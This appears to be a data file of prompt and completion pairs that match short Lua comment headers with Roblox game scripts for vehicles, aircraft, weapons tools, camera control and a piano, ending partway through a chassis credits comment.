prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--[[
Remove elements from a dictionary
]]
|
function Immutable.RemoveFromDictionary(dictionary, ...)
local result = {}
for key, value in pairs(dictionary) do
local found = false
for listKey = 1, select("#", ...) do
if key == select(listKey, ...) then
found = true
break
end
end
if not found then
result[key] = value
end
end
return result
end
|
--Services
|
local ServerStorage = game:GetService("ServerStorage")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
|
-- For effects and stuff
|
local function Engine(on)
local prop = plane.Propeller
if on then
prop.Hinge.DesiredAngle = 1e100 -- Super huge number so the propeller doesn't stop spinning :D
else
local angle = math.random(0, 10)
prop.Hinge.DesiredAngle = angle
prop.Hinge.CurrentAngle = angle
end
end
seat.Changed:connect(function(p)
if p == "Occupant" then
local occupant = seat.Occupant
if occupant then
Engine(true)
local player = game.Players:GetPlayerFromCharacter(occupant.Parent)
if player then
plane.Body:SetNetworkOwner(player)
local localPlaneScript = script.LocalPlaneScript:Clone()
localPlaneScript.Parent = player.PlayerGui
localPlaneScript.Plane.Value = plane
localPlaneScript.Disabled = false
else
shooting = false
end
else
Engine(false)
end
end
end)
while true do
if seat.Occupant and shooting then
for _, gun in pairs(plane.Guns:GetChildren()) do
if gun:FindFirstChild("Muzzle") then
local bullet = Instance.new("Part")
bullet.Parent = gun
bullet.Anchored = false
bullet.CanCollide = false
bullet.FormFactor = Enum.FormFactor.Custom
bullet.Size = Vector3.new(0.4, 10, 0.4)
bullet.BrickColor = BrickColor.new("Bright yellow")
bullet.Material = Enum.Material.Neon
Instance.new("CylinderMesh", bullet)
Instance.new("BodyForce", bullet).Force = Vector3.new(0, bullet:GetMass() * 196.2, 0)
bullet.CFrame = gun.Muzzle.CFrame
bullet.Velocity = bullet.CFrame:vectorToWorldSpace(Vector3.new(0, 1, 0)) * 2000
bullet:SetNetworkOwner(game.Players:GetPlayerFromCharacter(seat.Occupant.Parent))
bullet.Touched:connect(function(hit)
if not hit:IsDescendantOf(plane) and not hit:IsDescendantOf(seat.Occupant.Parent) then
local explosion = Instance.new("Explosion", game.Workspace)
explosion.Position = bullet.Position
explosion.BlastRadius = 4
explosion.DestroyJointRadiusPercent = 0
bullet:Destroy()
end
end)
game.Debris:AddItem(bullet, 1)
end
end
end
wait(0.1)
end
|
--returns the wielding player of this tool
|
function getPlayer()
local char = Tool.Parent
return game:GetService("Players"):GetPlayerFromCharacter(Character)
end
function Toss(direction)
local handlePos = Vector3.new(Tool.Handle.Position.X, 0, Tool.Handle.Position.Z)
local spawnPos = Character.Head.Position
spawnPos = spawnPos + (direction * 5)
local Object = Tool.Handle:Clone()
Object.Burn.Attachment.Debris.Enabled = true
Object.ThinkFast:Destroy()
Object.Parent = workspace
Object.Swing.Pitch = Random.new():NextInteger(90, 110)/100
Object.Swing:Play()
Object.CanCollide = true
Object.CFrame = Tool.Handle.CFrame
Object.Velocity = (direction*AttackVelocity) + Vector3.new(0,AttackVelocity/7.5,0)
Object.Trail.Enabled = true
local rand = 11.25
Object.RotVelocity = Vector3.new(Random.new():NextNumber(-rand,rand),Random.new():NextNumber(-rand,rand),Random.new():NextNumber(-rand,rand))
Object:SetNetworkOwner(getPlayer())
local ScriptClone = DamageScript:Clone()
ScriptClone.Parent = Object
ScriptClone.Disabled = false
local tag = Instance.new("ObjectValue")
tag.Value = getPlayer()
tag.Name = "creator"
tag.Parent = Object
end
PowerRemote.OnServerEvent:Connect(function(player, Power)
local holder = getPlayer()
if holder ~= player then return end
AttackVelocity = Power
end)
TossRemote.OnServerEvent:Connect(function(player, mousePosition)
local holder = getPlayer()
if holder ~= player then return end
if Cooldown.Value == true then return end
Cooldown.Value = true
if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then
TossRemote:FireClient(getPlayer(), "PlayAnimation", "Animation")
end
local targetPos = mousePosition.p
local lookAt = (targetPos - Character.Head.Position).unit
local SecretRNG = Random.new():NextInteger(1,10) --Change RNG value here
if SecretRNG == 1 then
local ChucklenutsSound = Tool.Handle.ThinkFast:Play()
end
Toss(lookAt)
task.wait(CooldownTime)
Cooldown.Value = false
end)
Tool.Equipped:Connect(function()
Character = Tool.Parent
Humanoid = Character:FindFirstChildOfClass("Humanoid")
end)
Tool.Unequipped:Connect(function()
Character = nil
Humanoid = nil
end)
|
-------------------Start_and_Stop-------------------
|
if (key==keys.stop.code) and planedebounce == false and (on == true) then--if Shutting down
local PS = script.Parent.Parent.Parent.PlayerGui:findFirstChild("PlaneStats").Frame
PS.EngineOff.Label.Text = "ENGINE OFF"
plane.Engine.Spin:Stop()
local spd = plane.Engine:findFirstChild("Speed")
if (spd ~= nil) then
spd.Value = 0
end
local spd = plane.Engine:findFirstChild("VerticalSpeed")
if (spd ~= nil) then
spd.Value = 0
end
plane.Stand.CanCollide = true
plane.Engine.BodyVelocity.maxForce = Vector3.new(0,0,0)
local mod = plane:findFirstChild("Rotors")
for i,v in pairs(mod:GetChildren()) do
if(v.Name == "RotorOff") then
v.Transparency = 0
v.CanCollide = true
elseif(v.Name == "RotorOn") then
v.Spin.inc.Value = 0
v.Spin.inc.Value = 0
end
end
on = false
Mousefollow=false
end
if (key==keys.start.code) and (on == false) and startLock then
local PS = script.Parent.Parent.Parent.PlayerGui:findFirstChild("PlaneStats").Frame
plane.Engine.StartUp:Play()
PS.EngineOff.Label.Text = "Starting Up"
local s = Instance.new("Smoke")
s.Color = Color3.new(128,128,128)
s.Size = .1
s.RiseVelocity = 9
s.Opacity = .3
s.Parent = plane.SmokeA
s.Enabled = true
wait(10)
plane.Engine.StartUp:Stop()
if (plane.Engine:findFirstChild("Speed") == nil) then
local speed = script.Parent.Speed:clone()
speed.Parent = plane.Engine
end
plane.Stand.CanCollide = false
game.Debris:AddItem(s,2)
local mod = plane:findFirstChild("Rotors")
plane.Engine.Spin:Play()
for i,v in pairs(mod:GetChildren()) do
if(v.Name == "RotorOff") then
v.Transparency = 1
v.CanCollide = false
elseif(v.Name == "RotorOn") then
local spininc = 0
for i = 0, 40, .5 do
wait()
v.Spin.inc.Value = i
v.Spin.inc.Value = i
end
end
end
plane.Engine.BodyVelocity.maxForce = Vector3.new(1e+012,1e+012,1e+012)
on = true
end
if(key == "q") then
startLock = true
end
|
-- Zoom
-- Controls the distance between the focus and the camera.
|
local ZOOM_STIFFNESS = 4.5
local ZOOM_DEFAULT = 12.5
local ZOOM_ACCELERATION = 0.0375
local MIN_FOCUS_DIST = 0.5
local DIST_OPAQUE = 1
local Popper = require(script:WaitForChild("Popper"))
local clamp = math.clamp
local exp = math.exp
local min = math.min
local max = math.max
local pi = math.pi
local cameraMinZoomDistance, cameraMaxZoomDistance do
local Player = game:GetService("Players").LocalPlayer
assert(Player)
local function updateBounds()
cameraMinZoomDistance = Player.CameraMinZoomDistance
cameraMaxZoomDistance = Player.CameraMaxZoomDistance
end
updateBounds()
Player:GetPropertyChangedSignal("CameraMinZoomDistance"):Connect(updateBounds)
Player:GetPropertyChangedSignal("CameraMaxZoomDistance"):Connect(updateBounds)
end
local ConstrainedSpring = {} do
ConstrainedSpring.__index = ConstrainedSpring
function ConstrainedSpring.new(freq: number, x: number, minValue: number, maxValue: number)
x = clamp(x, minValue, maxValue)
return setmetatable({
freq = freq, -- Undamped frequency (Hz)
x = x, -- Current position
v = 0, -- Current velocity
minValue = minValue, -- Minimum bound
maxValue = maxValue, -- Maximum bound
goal = x, -- Goal position
}, ConstrainedSpring)
end
function ConstrainedSpring:Step(dt: number)
local freq = self.freq :: number * 2 * pi -- Convert from Hz to rad/s
local x: number = self.x
local v: number = self.v
local minValue: number = self.minValue
local maxValue: number = self.maxValue
local goal: number = self.goal
-- Solve the spring ODE for position and velocity after time t, assuming critical damping:
-- 2*f*x'[t] + x''[t] = f^2*(g - x[t])
-- Knowns are x[0] and x'[0].
-- Solve for x[t] and x'[t].
local offset = goal - x
local step = freq*dt
local decay = exp(-step)
local x1 = goal + (v*dt - offset*(step + 1))*decay
local v1 = ((offset*freq - v)*step + v)*decay
-- Constrain
if x1 < minValue then
x1 = minValue
v1 = 0
elseif x1 > maxValue then
x1 = maxValue
v1 = 0
end
self.x = x1
self.v = v1
return x1
end
end
local zoomSpring = ConstrainedSpring.new(ZOOM_STIFFNESS, ZOOM_DEFAULT, MIN_FOCUS_DIST, cameraMaxZoomDistance)
local function stepTargetZoom(z: number, dz: number, zoomMin: number, zoomMax: number)
z = clamp(z + dz*(1 + z*ZOOM_ACCELERATION), zoomMin, zoomMax)
if z < DIST_OPAQUE then
z = dz <= 0 and zoomMin or DIST_OPAQUE
end
return z
end
local zoomDelta = 0
local Zoom = {} do
function Zoom.Update(renderDt: number, focus: CFrame, extrapolation)
local poppedZoom = math.huge
if zoomSpring.goal > DIST_OPAQUE then
-- Make a pessimistic estimate of zoom distance for this step without accounting for poppercam
local maxPossibleZoom = max(
zoomSpring.x,
stepTargetZoom(zoomSpring.goal, zoomDelta, cameraMinZoomDistance, cameraMaxZoomDistance)
)
-- Run the Popper algorithm on the feasible zoom range, [MIN_FOCUS_DIST, maxPossibleZoom]
poppedZoom = Popper(
focus*CFrame.new(0, 0, MIN_FOCUS_DIST),
maxPossibleZoom - MIN_FOCUS_DIST,
extrapolation
) + MIN_FOCUS_DIST
end
zoomSpring.minValue = MIN_FOCUS_DIST
zoomSpring.maxValue = min(cameraMaxZoomDistance, poppedZoom)
return zoomSpring:Step(renderDt)
end
function Zoom.GetZoomRadius()
return zoomSpring.x
end
function Zoom.SetZoomParameters(targetZoom, newZoomDelta)
zoomSpring.goal = targetZoom
zoomDelta = newZoomDelta
end
function Zoom.ReleaseSpring()
zoomSpring.x = zoomSpring.goal
zoomSpring.v = 0
end
end
return Zoom
|
-- Set up the event handlers for the Close TextButtons in the windows
|
for _, window in ipairs(gui:GetChildren()) do
if window:IsA("Frame") then
local closeButton = window:FindFirstChild("Close")
if closeButton and closeButton:IsA("TextButton") then
closeButton.MouseButton1Click:Connect(function()
openGui.Visible = true
window:TweenSizeAndPosition(
UDim2.new(1, 0, 0.022, 0),
UDim2.new(0.0, 0, 0.978, 0),
'Out',
'Quad',
0.2,
false,
function()
window.Visible = false
end
)
end)
end
end
end
|
-- Core events
|
ToolChanged = Signal.new()
function EquipTool(Tool)
-- Equips and switches to the given tool
-- Unequip current tool
if CurrentTool and CurrentTool.Equipped then
CurrentTool:Unequip();
CurrentTool.Equipped = false;
end;
-- Set `Tool` as current
CurrentTool = Tool;
CurrentTool.Equipped = true;
-- Fire relevant events
ToolChanged:Fire(Tool);
-- Equip the tool
Tool:Equip();
end;
function RecolorHandle(Color)
SyncAPI:Invoke('RecolorHandle', Color);
end;
|
--[[Controls]]
|
local _CTRL = _Tune.Controls
local Controls = Instance.new("Folder",script.Parent)
Controls.Name = "Controls"
for i,v in pairs(_CTRL) do
local a=Instance.new("StringValue",Controls)
a.Name=i
a.Value=v.Name
a.Changed:connect(function()
if i=="MouseThrottle" or i=="MouseBrake" then
if a.Value == "MouseButton1" or a.Value == "MouseButton2" then
_CTRL[i]=Enum.UserInputType[a.Value]
else
_CTRL[i]=Enum.KeyCode[a.Value]
end
else
_CTRL[i]=Enum.KeyCode[a.Value]
end
end)
end
--Deadzone Adjust
local _PPH = _Tune.Peripherals
for i,v in pairs(_PPH) do
local a = Instance.new("IntValue",Controls)
a.Name = i
a.Value = v
a.Changed:connect(function()
a.Value=math.min(100,math.max(0,a.Value))
_PPH[i] = a.Value
end)
end
--Input Handler
function DealWithInput(input,IsRobloxFunction)
if (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus
--Shift Down [Manual Transmission]
if (input.KeyCode ==_CTRL["ContlrShiftDown"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftDown"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftDown"])) and ((_IsOn and ((_TMode=="Auto" and _CGear<=1) and _Tune.AutoShiftVers == "New") or _TMode=="DCT") or _TMode=="Manual") and input.UserInputState == Enum.UserInputState.Begin then
if not _ShiftDn then _ShiftDn = true end
--Shift Up [Manual Transmission]
elseif (input.KeyCode ==_CTRL["ContlrShiftUp"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftUp"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftUp"])) and ((_IsOn and ((_TMode=="Auto" and _CGear<1) and _Tune.AutoShiftVers == "New") or _TMode=="DCT") or _TMode=="Manual") and input.UserInputState == Enum.UserInputState.Begin then
if not _ShiftUp then _ShiftUp = true end
--Toggle Clutch
elseif (input.KeyCode ==_CTRL["ContlrClutch"] or (_MSteer and input.KeyCode==_CTRL["MouseClutch"]) or ((not _MSteer) and input.KeyCode==_CTRL["Clutch"])) and _TMode=="Manual" then
if input.UserInputState == Enum.UserInputState.Begin then
_ClPressing = true
elseif input.UserInputState == Enum.UserInputState.End then
_ClPressing = false
end
--Toggle PBrake
elseif input.KeyCode ==_CTRL["ContlrPBrake"] or (_MSteer and input.KeyCode==_CTRL["MousePBrake"]) or ((not _MSteer) and input.KeyCode==_CTRL["PBrake"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_PBrake = not _PBrake
elseif input.UserInputState == Enum.UserInputState.End then
if bike.DriveSeat.Velocity.Magnitude>5 then _PBrake = false end
end
--Toggle Transmission
elseif (input.KeyCode == _CTRL["ContlrToggleTMode"] or input.KeyCode==_CTRL["ToggleTransMode"]) and input.UserInputState == Enum.UserInputState.Begin then
local n=1
for i,v in pairs(_Tune.TransModes) do
if v==_TMode then n=i break end
end
n=n+1
if n>#_Tune.TransModes then n=1 end
_TMode = _Tune.TransModes[n]
--Throttle
elseif ((not _MSteer) and (input.KeyCode==_CTRL["Throttle"] or input.KeyCode == _CTRL["Throttle2"])) or ((((_CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseThrottle"]) or input.KeyCode == _CTRL["MouseThrottle"])and _MSteer) then
if input.UserInputState == Enum.UserInputState.Begin and _IsOn then
_InThrot = 1
_TTick = tick()
else
_InThrot = _Tune.IdleThrottle/100
_BTick = tick()
end
--Brake
elseif ((not _MSteer) and (input.KeyCode==_CTRL["Brake"] or input.KeyCode == _CTRL["Brake2"])) or ((((_CTRL["MouseBrake"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseBrake"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseBrake"]) or input.KeyCode == _CTRL["MouseBrake"])and _MSteer) then
if input.UserInputState == Enum.UserInputState.Begin then
_InBrake = 1
else
_InBrake = 0
end
--Steer Left
elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerLeft"] or input.KeyCode == _CTRL["SteerLeft2"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_GSteerT = -1
_SteerL = true
else
if _SteerR then
_GSteerT = 1
else
_GSteerT = 0
end
_SteerL = false
end
--Steer Right
elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerRight"] or input.KeyCode == _CTRL["SteerRight2"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_GSteerT = 1
_SteerR = true
else
if _SteerL then
_GSteerT = -1
else
_GSteerT = 0
end
_SteerR = false
end
--Toggle Mouse Controls
elseif input.KeyCode ==_CTRL["ToggleMouseDrive"] then
if input.UserInputState == Enum.UserInputState.End then
_MSteer = not _MSteer
_InThrot = _Tune.IdleThrottle/100
_TTick = tick()
_InBrake = 0
_GSteerT = 0
end
--Toggle TCS
elseif _Tune.TCS and _IsOn and input.KeyCode == _CTRL["ToggleTCS"] or input.KeyCode == _CTRL["ContlrToggleTCS"] then
if input.UserInputState == Enum.UserInputState.End then _TCS = not _TCS end
--Toggle ABS
elseif _Tune.ABS and _IsOn and input.KeyCode == _CTRL["ToggleABS"] or input.KeyCode == _CTRL["ContlrToggleABS"] then
if input.UserInputState == Enum.UserInputState.End then _ABS = not _ABS end
end
--Variable Controls
if input.UserInputType.Name:find("Gamepad") then
--Gamepad Steering
if input.KeyCode == _CTRL["ContlrSteer"] then
if input.Position.X>= 0 then
local cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100)
if math.abs(input.Position.X)>cDZone then
_GSteerT = (input.Position.X-cDZone)/(1-cDZone)
else
_GSteerT = 0
end
else
local cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100)
if math.abs(input.Position.X)>cDZone then
_GSteerT = (input.Position.X+cDZone)/(1-cDZone)
else
_GSteerT = 0
end
end
--Gamepad Throttle
elseif input.KeyCode == _CTRL["ContlrThrottle"] then
if _IsOn then
_InThrot = math.max(_Tune.IdleThrottle/100,input.Position.Z)
if _InThrot > _Tune.IdleThrottle/100 then _TTick = tick() else _BTick = tick() end
else
_InThrot = _Tune.IdleThrottle/100
_BTick = tick()
end
--Gamepad Brake
elseif input.KeyCode == _CTRL["ContlrBrake"] then
_InBrake = input.Position.Z
end
end
else
_InThrot = _Tune.IdleThrottle/100
_GSteerT = 0
_InBrake = 0
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)
UserInputService.InputEnded:connect(DealWithInput)
|
------------------------------------------------------------------------
|
local Input = {} do
local thumbstickCurve do
local K_CURVATURE = 2.0
local K_DEADZONE = 0.15
local function fCurve(x)
return (exp(K_CURVATURE*x) - 1)/(exp(K_CURVATURE) - 1)
end
local function fDeadzone(x)
return fCurve((x - K_DEADZONE)/(1 - K_DEADZONE))
end
function thumbstickCurve(x)
return sign(x)*clamp(fDeadzone(abs(x)), 0, 1)
end
end
local gamepad = {
ButtonX = 0,
ButtonY = 0,
DPadDown = 0,
DPadUp = 0,
ButtonL2 = 0,
ButtonR2 = 0,
Thumbstick1 = Vector2.new(),
Thumbstick2 = Vector2.new(),
}
local keyboard = {
W = 0,
A = 0,
S = 0,
D = 0,
E = 0,
Q = 0,
U = 0,
H = 0,
J = 0,
K = 0,
I = 0,
Y = 0,
Up = 0,
Down = 0,
LeftShift = 0,
RightShift = 0,
}
local mouse = {
Delta = Vector2.new(),
MouseWheel = 0,
}
local NAV_GAMEPAD_SPEED = Vector3.new(1, 1, 1)
local NAV_KEYBOARD_SPEED = Vector3.new(1, 1, 1)
local PAN_MOUSE_SPEED = Vector2.new(1, 1)*(pi/64)
local PAN_GAMEPAD_SPEED = Vector2.new(1, 1)*(pi/8)
local FOV_WHEEL_SPEED = 1.0
local FOV_GAMEPAD_SPEED = 0.25
local NAV_ADJ_SPEED = 0.75
local NAV_SHIFT_MUL = 0.25
local navSpeed = 1
function Input.Vel(dt)
navSpeed = clamp(navSpeed + dt*(keyboard.Up - keyboard.Down)*NAV_ADJ_SPEED, 0.01, 4)
local kGamepad = Vector3.new(
thumbstickCurve(gamepad.Thumbstick1.x),
thumbstickCurve(gamepad.ButtonR2) - thumbstickCurve(gamepad.ButtonL2),
thumbstickCurve(-gamepad.Thumbstick1.y)
)*NAV_GAMEPAD_SPEED
local kKeyboard = Vector3.new(
keyboard.D - keyboard.A + keyboard.K - keyboard.H,
keyboard.E - keyboard.Q + keyboard.I - keyboard.Y,
keyboard.S - keyboard.W + keyboard.J - keyboard.U
)*NAV_KEYBOARD_SPEED
local shift = UserInputService:IsKeyDown(Enum.KeyCode.LeftShift) or UserInputService:IsKeyDown(Enum.KeyCode.RightShift)
return (kGamepad + kKeyboard)*(navSpeed*(shift and NAV_SHIFT_MUL or 1))
end
function Input.Pan(dt)
local kGamepad = Vector2.new(
thumbstickCurve(gamepad.Thumbstick2.y),
thumbstickCurve(-gamepad.Thumbstick2.x)
)*PAN_GAMEPAD_SPEED
local kMouse = mouse.Delta*PAN_MOUSE_SPEED
mouse.Delta = Vector2.new()
return kGamepad + kMouse
end
function Input.Fov(dt)
local kGamepad = (gamepad.ButtonX - gamepad.ButtonY)*FOV_GAMEPAD_SPEED
local kMouse = mouse.MouseWheel*FOV_WHEEL_SPEED
mouse.MouseWheel = 0
return kGamepad + kMouse
end
do
local function Keypress(action, state, input)
keyboard[input.KeyCode.Name] = state == Enum.UserInputState.Begin and 1 or 0
return Enum.ContextActionResult.Sink
end
local function GpButton(action, state, input)
gamepad[input.KeyCode.Name] = state == Enum.UserInputState.Begin and 1 or 0
return Enum.ContextActionResult.Sink
end
local function MousePan(action, state, input)
local delta = input.Delta
mouse.Delta = Vector2.new(-delta.y, -delta.x)
return Enum.ContextActionResult.Sink
end
local function Thumb(action, state, input)
gamepad[input.KeyCode.Name] = input.Position
return Enum.ContextActionResult.Sink
end
local function Trigger(action, state, input)
gamepad[input.KeyCode.Name] = input.Position.z
return Enum.ContextActionResult.Sink
end
local function MouseWheel(action, state, input)
mouse[input.UserInputType.Name] = -input.Position.z
return Enum.ContextActionResult.Sink
end
local function Zero(t)
for k, v in pairs(t) do
t[k] = v*0
end
end
function Input.StartCapture()
ContextActionService:BindActionAtPriority("FreecamKeyboard2", Keypress, false, INPUT_PRIORITY,
Enum.KeyCode.W, Enum.KeyCode.U,
Enum.KeyCode.A, Enum.KeyCode.H,
Enum.KeyCode.S, Enum.KeyCode.J,
Enum.KeyCode.D, Enum.KeyCode.K,
Enum.KeyCode.E, Enum.KeyCode.I,
Enum.KeyCode.Q, Enum.KeyCode.Y,
Enum.KeyCode.Up, Enum.KeyCode.Down
)
ContextActionService:BindActionAtPriority("FreecamMousePan2", MousePan, false, INPUT_PRIORITY, Enum.UserInputType.MouseMovement)
ContextActionService:BindActionAtPriority("FreecamMouseWheel2", MouseWheel, false, INPUT_PRIORITY, Enum.UserInputType.MouseWheel)
ContextActionService:BindActionAtPriority("FreecamGamepadButton2", GpButton, false, INPUT_PRIORITY, Enum.KeyCode.ButtonX, Enum.KeyCode.ButtonY)
ContextActionService:BindActionAtPriority("FreecamGamepadTrigger2", Trigger, false, INPUT_PRIORITY, Enum.KeyCode.ButtonR2, Enum.KeyCode.ButtonL2)
ContextActionService:BindActionAtPriority("FreecamGamepadThumbstick2", Thumb, false, INPUT_PRIORITY, Enum.KeyCode.Thumbstick1, Enum.KeyCode.Thumbstick2)
end
function Input.StopCapture()
navSpeed = 1
Zero(gamepad)
Zero(keyboard)
Zero(mouse)
ContextActionService:UnbindAction("FreecamKeyboard2")
ContextActionService:UnbindAction("FreecamMousePan2")
ContextActionService:UnbindAction("FreecamMouseWheel2")
ContextActionService:UnbindAction("FreecamGamepadButton2")
ContextActionService:UnbindAction("FreecamGamepadTrigger2")
ContextActionService:UnbindAction("FreecamGamepadThumbstick2")
end
end
end
local function GetFocusDistance(cameraFrame)
local znear = 0.1
local viewport = Camera.ViewportSize
local projy = 2*tan(cameraFov/2)
local projx = viewport.x/viewport.y*projy
local fx = cameraFrame.rightVector
local fy = cameraFrame.upVector
local fz = cameraFrame.lookVector
local minVect = Vector3.new()
local minDist = 512
for x = 0, 1, 0.5 do
for y = 0, 1, 0.5 do
local cx = (x - 0.5)*projx
local cy = (y - 0.5)*projy
local offset = fx*cx - fy*cy + fz
local origin = cameraFrame.p + offset*znear
local _, hit = Workspace:FindPartOnRay(Ray.new(origin, offset.unit*minDist))
local dist = (hit - origin).magnitude
if minDist > dist then
minDist = dist
minVect = offset.unit
end
end
end
return fz:Dot(minVect)*minDist
end
|
--Leave this
|
Heat = 0
if GUI then
script.Parent.Visible = true
else
script.Parent.Visible = false
end
|
--Rescripted by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
BulletSpeed = Handle.BulletSpeed.Value
DisappearTime = Handle.BulletDisappearTime.Value
ReloadTime = Handle.ReloadTime.Value
BulletColor = Handle.BulletColor.Value
NozzleOffset = Vector3.new(0, 0.4, -1.1)
Sounds = {
Fire = Handle:WaitForChild("Fire"),
Reload = Handle:WaitForChild("Reload"),
HitFade = Handle:WaitForChild("HitFade")
}
PointLight = Handle:WaitForChild("PointLight")
ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction"))
ServerControl.Name = "ServerControl"
ServerControl.Parent = Tool
ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction"))
ClientControl.Name = "ClientControl"
ClientControl.Parent = Tool
ServerControl.OnServerInvoke = (function(player, Mode, Value, arg)
if player ~= Player or Humanoid.Health == 0 or not Tool.Enabled then
return
end
if Mode == "Click" and Value then
Activated(arg)
end
end)
function InvokeClient(Mode, Value)
pcall(function()
ClientControl:InvokeClient(Player, Mode, Value)
end)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function FindCharacterAncestor(Parent)
if Parent and Parent ~= game:GetService("Workspace") then
local humanoid = Parent:FindFirstChild("Humanoid")
if humanoid then
return Parent, humanoid
else
return FindCharacterAncestor(Parent.Parent)
end
end
return nil
end
function GetTransparentsRecursive(Parent, PartsTable)
local PartsTable = (PartsTable or {})
for i, v in pairs(Parent:GetChildren()) do
local TransparencyExists = false
pcall(function()
local Transparency = v["Transparency"]
if Transparency then
TransparencyExists = true
end
end)
if TransparencyExists then
table.insert(PartsTable, v)
end
GetTransparentsRecursive(v, PartsTable)
end
return PartsTable
end
function SelectionBoxify(Object)
local SelectionBox = Instance.new("SelectionBox")
SelectionBox.Adornee = Object
SelectionBox.Color3 = BulletColor
SelectionBox.Parent = Object
return SelectionBox
end
local function Light(Object)
local Light = PointLight:Clone()
Light.Range = (Light.Range + 2)
Light.Parent = Object
end
function FadeOutObjects(Objects, FadeIncrement)
repeat
local LastObject = nil
for i, v in pairs(Objects) do
v.Transparency = (v.Transparency + FadeIncrement)
LastObject = v
end
wait()
until LastObject.Transparency >= 1 or not LastObject
end
function Touched(Projectile, Hit)
if not Hit or not Hit.Parent then
return
end
local character, humanoid = FindCharacterAncestor(Hit)
if character and humanoid and character ~= Character then
local ForceFieldExists = false
for i, v in pairs(character:GetChildren()) do
if v:IsA("ForceField") then
ForceFieldExists = true
end
end
if not ForceFieldExists then
if Projectile then
local HitFadeSound = Projectile:FindFirstChild(Sounds.HitFade.Name)
local torso = humanoid.Torso
if HitFadeSound and torso then
HitFadeSound.Parent = torso
HitFadeSound:Play()
end
end
local hum = humanoid.Parent:GetChildren()
for i, v in pairs(hum) do
if v.ClassName == "Part" then
local script = script.Parent.Handle.GlassScript
local clone = script:Clone()
clone.Parent = v
clone.Enabled = true
clone.GlassBreak.Parent = v
v.Anchored = true
v.BrickColor = BrickColor.new("Pearl")
v.Material = Enum.Material.Glass
v.Transparency = 0.6
end
end
humanoid.WalkSpeed = 0
humanoid.Parent.AI:Destroy()
end
if Projectile and Projectile.Parent then
Projectile:Destroy()
end
end
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
if not Player or not Humanoid or Humanoid.Health == 0 then
return
end
end
function Activated(target)
if Tool.Enabled and Humanoid.Health > 0 then
Tool.Enabled = false
InvokeClient("PlaySound", Sounds.Fire)
local HandleCFrame = Handle.CFrame
local FiringPoint = HandleCFrame.p + HandleCFrame:vectorToWorldSpace(NozzleOffset)
local ShotCFrame = CFrame.new(FiringPoint, target)
local LaserShotClone = BaseShot:Clone()
LaserShotClone.CFrame = ShotCFrame + (ShotCFrame.lookVector * (BaseShot.Size.Z / 2))
local BodyVelocity = Instance.new("BodyVelocity")
BodyVelocity.velocity = ShotCFrame.lookVector * BulletSpeed
BodyVelocity.Parent = LaserShotClone
LaserShotClone.Touched:connect(function(Hit)
if not Hit or not Hit.Parent then
return
end
Touched(LaserShotClone, Hit)
end)
Debris:AddItem(LaserShotClone, DisappearTime)
LaserShotClone.Parent = game:GetService("Workspace")
wait(0.6) -- FireSound length
InvokeClient("PlaySound", Sounds.Reload)
wait(ReloadTime) -- ReloadSound length
Tool.Enabled = true
end
end
function Unequipped()
end
BaseShot = Instance.new("Part")
BaseShot.Name = "Effect"
BaseShot.Color = BulletColor
BaseShot.Material = Enum.Material.Plastic
BaseShot.Shape = Enum.PartType.Block
BaseShot.TopSurface = Enum.SurfaceType.Smooth
BaseShot.BottomSurface = Enum.SurfaceType.Smooth
BaseShot.FormFactor = Enum.FormFactor.Custom
BaseShot.Size = Vector3.new(0.2, 0.2, 3)
BaseShot.CanCollide = false
BaseShot.Locked = true
SelectionBoxify(BaseShot)
Light(BaseShot)
BaseShotSound = Sounds.HitFade:Clone()
BaseShotSound.Parent = BaseShot
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
----------------------------------
------------VARIABLES-------------
----------------------------------
|
User = nil
Connector = game.Workspace:FindFirstChild("GlobalPianoConnector")
if not Connector or not Connector:IsA("RemoteEvent") then
error("The piano requires a RemoteEvent named GlobalPianoConnector to be in Workspace.")
end
|
--[[ Please do not delete this module
Novena Constraint Type: Motorcycle
The Bike Chassis, Beta Build: 1
Avxnturador | Novena
RikOne2 | Enjin
:: Note
If you have this chassis, I assume that you understand this will be updated frequently.
𝚃𝚑𝚒𝚜 𝚒𝚜 𝚊 𝚍𝚎𝚟𝚎𝚕𝚘𝚙𝚖𝚎𝚗𝚝 𝚌𝚑𝚊𝚜𝚜𝚒𝚜.
Updates pertaining to any build and version will be detailed here.
Final updates will be published to the main NCT: M model.
A few plugins have been brought to NCT: M.
Most of these plugins are thanks to RikOne2, some thanks to Avxnturador.
Thanks for beta testing NCT: M!
:: How to install
Everything regarding Body, Misc and DriveSeat is the same as other chassis'
For FrontSection and RearSection, the Wheel part is where you will put your wheel and tire.
